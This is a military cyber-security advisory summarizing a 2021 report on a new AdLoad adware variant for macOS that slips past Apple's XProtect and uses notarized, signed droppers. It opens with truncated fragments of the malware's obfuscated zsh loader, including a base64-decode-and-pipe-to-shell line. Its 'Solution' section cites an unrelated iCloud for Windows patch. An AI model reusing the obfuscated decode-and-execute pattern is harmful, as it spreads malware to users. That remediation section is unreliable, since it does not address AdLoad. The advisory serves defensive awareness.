HEADQUARTERS
CYBERSPACE SECURITY GROUP
COMMUNICATIONS, ELECTRONICS AND INFORMATION SYSTEMS SERVICE
ARMED FORCES OF THE PHILIPPINES
Camp General Emilio Aguinaldo, Quezon City

New AdLoad Variant Bypasses Apple's Security Defenses to Target macOS Systems

```
43\U69\';dv5ButUW0='\U64\U29\U2';jHoYCWc7ekL='\U28\';baJL60zE='d\U62\U61\U73\U65';xb2l1l3d=
4irVgc='U75\U69';hf0='0\U';MbZqS3K='6e\U61\U6d\U65\';j26faQX='63\U65\U73\U22\U2';oC1oF9yfVa4W='\U39\U34\U3';qRr9b='U34\U20
9daIxdPwfuR='f\U70';pRbOSnqvhTb='4\U7b\U28\U2';erOC='\U73\U61\';JJ6wYs='\U2';_4vzoYWLCKrC='\U35\U36\U2d';D3_cdgq='U72\U64\
xzt='-e';vI3uX='20\U2';KLhZ9_1m='6c\U65\U44\U';ctGnF='U73\U';DODpmG='U32';yPI='\U73\U73';JdIzp='\U44\U6';XU2JxshC='\U63\U6
S_='9\U72';fvT01mdY='\U50\U29\U22\U2';bYLMrdnreb='22\U24\U66\U69\U';gI2='20\U2d';u8TYKk80RU='6\U26\U65';ynOWhebe='U6f\U70\
lLgc='echo';lxQN='3\U31\U30\U39\U34';tkpHFqXMnO='9\U22\U26\U2';LrSIat='\U74';GIOXGb='c\U20\U65\';sZOYPAX='\U20\U2d\U61\U65\
52\U65\';h9g='U6e\U63\U';Rj9_DFQX='\U63\U';JaJImS='U6c\U74\U20\U2d\';ZcXFx='U33\U37\';k98gPXx='U20\U22\U2';uuEf='\U31\';rr
29\U22\U26\U26';OobRab='U61\U6d';N31l7_TqEMjh='\U20\U73\U68\U77\';jmR_hb='U63\';d9lce50cBOyu='\U6c\U6';XvvOUDGP7T='U6f\';o
5\U72\U';yoKAcS='\U6';YuFkkXld='U64\U69\U72\U6e\';KsrN3='U2d\U32';RzpZ5wvCdyzM='U6e\U64\U79\U73\';nE3_zN='U22\U24\U28\U70'
_iQy='9\U72\U';U_O='\U76\U61\U6c';hXqXQPa6FS='U70\U61';DgVMhm='3\U64\U2';Fr4jMzluFsir='4\U29\U3';LvwclCnz='\U70\U6c\U69\';
KvY46k1YcvP='\U6c\U61\U6e\U67\';yaWzqwq='\U66\U69\U';ZhJgNEa0='4\U';qTBv='\U64\U6';rsV0MKb_kI='a\U2d\U25\U';IdBZD='\U73\U'
74';Xb5hm6rQHa='\U77\U64\U';VCOVJS40XV='62\';guv1d='4\U28\';qqqVC='\U73\U65\U74\U6';XkfkWMvza=$(${ZRMLgc} ${yMMxzt} ${XU2Jx
wqH5_iQy}${MbZqS3K}${k98gPXx}${pRbOSnqvhTb}${Fr4jMzluFsir}${rsV0MKb_kI}${qPf1dRFx}${uK9kS}${yaWzqwq}${KLhZ9_1m}${o8BfU}${Sq
ab}${NBKxZB}${nE3_zN}${Xb5hm6rQHa}${gI2}${fvT01mdY}${tkpHFqXMnO}${OfWg}${DgVMhm}${hf0}${bYLMrdnreb}${Mz7CtOoqyNy}${JdIzp}${
```

```
(%):-%x}")";PY1jv='IyEvdXNyL2Jpbi9lbnYgenNoCkZNcGxrSVVrOG
xMVVIRT0nVTI0XFUyOVwnO0M4RU9pbnNoTT0nNzRcVTIwXFUnO2JVZUE2
TF6dj0nNmVcVTczXFU3M1xVNic7aEF4NkxVeFA9J2VcVTYzXFUyMCc7Wm
cVTYyXFU2M5c7bXByPSc3XFUzN1xVMzRcVTMnO1ZQOkF3PSc2OVxVNzJc
Xg9JzFcVTZkXFUnO1NUTHAxbFl4VWZCYT0nVTc2XFU2MVxVJzthQVBudU
nO0ZFSHNlTzQ9JzI0XFUyOFxVNzBcVTc3XFU2JztnNjRhcklGPSdcVTYn
SdcVTcyXFUnO2M1QjdpS0ZYcU49J1xVM2NcJztObHlybERUUDRoPScyOV
xXFU2NVwnO0p2OHQ9J1xVNzZcVTY1JztpN095eEV3eHM9JzIyXFUyNlwn
VTI4JztlR1M9JzNcVTM3XFUzNlxVMzVcVTIyJztTYWFLO3U3c3Uwaz0nNj
aekJPM1Vlbjd2ej0nVTcwXFUnO0VxMHE2cT0nNFxVMjBcVTJkXFU1MFxV
PSc1XFUyMFxVJztiQkk3PSc2NVwnO0J2ZFBRcm9WYWs9Jy1lJztyQmZ5RE
xVNic7anVQd2RGMUx4MTZxPSczXFU2NFxVMjBcVTIyJztrandJPSdcVTZj
WxVNDRcVTYnO0pHbXl4Wm44NlI9J1UyMFwnO09MWDRJZjB1MjU9J1xVNz
tENk1Bd3ZvPSdVNzNcVSc7RFYxWjlTSj0nVTJkXFU2NCc7QVA4dkw9JzIy
```

~/Downloads (-zsh)

```
00000d90: 5531 6f66 5352 375a 5564 5466 5352 3759  U1ofSR7ZUdT
00000da0: 7a56 434e 326c 4c52 6c68 7854 6e30 6b65  zVCN2lLRlhx
00000db0: 3142 7357 6d55 345a 4868 7566 5352 3759  1BsWmU4ZHhu
00000dc0: 6c56 6c51 545a 394a 4874 7163 3278 344e  lVlQTZ9JHtq
00000dd0: 6b63 795a 474a 3361 4830 6b65 315a 7563  kcyZGJ3aH0k
00000de0: 3342 4256 6d52 3155 3246 4f53 3330 704f  3BBVmR1U2FO
00000df0: 7951 6f4a 4874 5754 4778 6b53 384a 3466  yQoJHtWTGxk
00000e00: 5341 6b65 304a 325a 4642 5263 6d39 5759  SAke0J2ZFBR
00000e10: 5774 3949 4352 3761 3270 3353 5830 6b65  Wt9ICR7a2p3
00000e20: 3070 324f 4852 3949 4877 6763 6d56 324b  0p2OHR9IHwg
00000e30: 5341 6b64 455a 6b27 3b65 6368 6f20 2224  SAkdEZk';ec
00000e40: 5059 316a 7622 207c 2062 6173 6536 3420  PY1jv" | ba
00000e50: 2d44 207c 202f 6269 6e2f 7a73 68         -D | /bin/z
[macos-detection-lab:Downloads]
[macthreats]%
```

A new wave of attacks involving a notorious macOS adware family has evolved to leverage around 150 unique samples in the wild in 2021 alone, some of which have slipped past Apple's on-device malware scanner and even signed by its own notarization service, highlighting the malicious software ongoing attempts to adapt and evade detection.

"AdLoad," as the malware is known, is one of several widespread adware and bundleware loaders targeting macOS since at least 2017. It's capable of backdooring an affected system to download and install adware or potentially unwanted programs (PUPs), as well as amass and transmit information about victim machines.

The new iteration "continues to impact Mac users who rely solely on Apple's built-in security control XProtect for malware detection," SentinelOne threat researcher Phil Stokes said in an analysis published last week. "As of today, however, XProtect arguably has around 11 different signatures for AdLoad [but] the variant used in this new campaign is undetected by any of those rules."

The 2021 version of AdLoad latches on to persistence and executable names that use a different file extension pattern (.system or .service), enabling the malware to get around additional security protections incorporated by Apple, ultimately resulting in the installation of a persistence agent, which, in turn, triggers an attack chain to deploy malicious droppers that masquerade as a fake Player.app to install malware.

What's more, the droppers are signed with a valid signature using developer certificates, prompting Apple to revoke the certificates "within a matter of days (sometimes hours) of samples being observed on VirusTotal, offering some belated and temporary protection against further infections by those particular signed samples by means of Gatekeeper and OCSP signature checks," Stokes noted.

SentinelOne said it detected new samples signed with fresh certificates in a couple of hours and days, calling it a "game of whack-a-mole." First samples of AdLoad are said to have appeared as early as November 2020, with regular further occurrences across the first half of 2021, followed by a sharp uptick throughout July and, in particular, the early weeks of August 2021.

AdLoad is among the malware families, alongside Shlayer, that's been known to bypass XProtect and infect Macs with other malicious payloads. In April 2021, Apple addressed an actively exploited zero-day flaw in its Gatekeeper service (CVE-2021-30657) that was abused by the Shlayer operators to deploy unapproved software on the compromised systems.

Solution:

Apple has released iCloud for Windows 12.3 with patches for four security issues in WebKit and WebRTC, among others, that could allow an attacker to cross-site scripting (XSS) attacks (CVE-2021-1825) and corrupt kernel memory (CVE-2020-7463).

Users of Apple devices are recommended to update to the latest versions to mitigate the risk associated with the flaws.

References:

https://thehackernews.com/2021/08/new-adload-variant-bypasses-apples.html

https://unboxhow.com/cybersecurity/remove-adload-malware-from-mac-os

https://www.zdnet.com/article/researchers-discover-new-adload-malware-campaigns-against-macs-and-apple-products/

https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html

https://www.pcrisk.com/removal-guides/16328-adload-malware-mac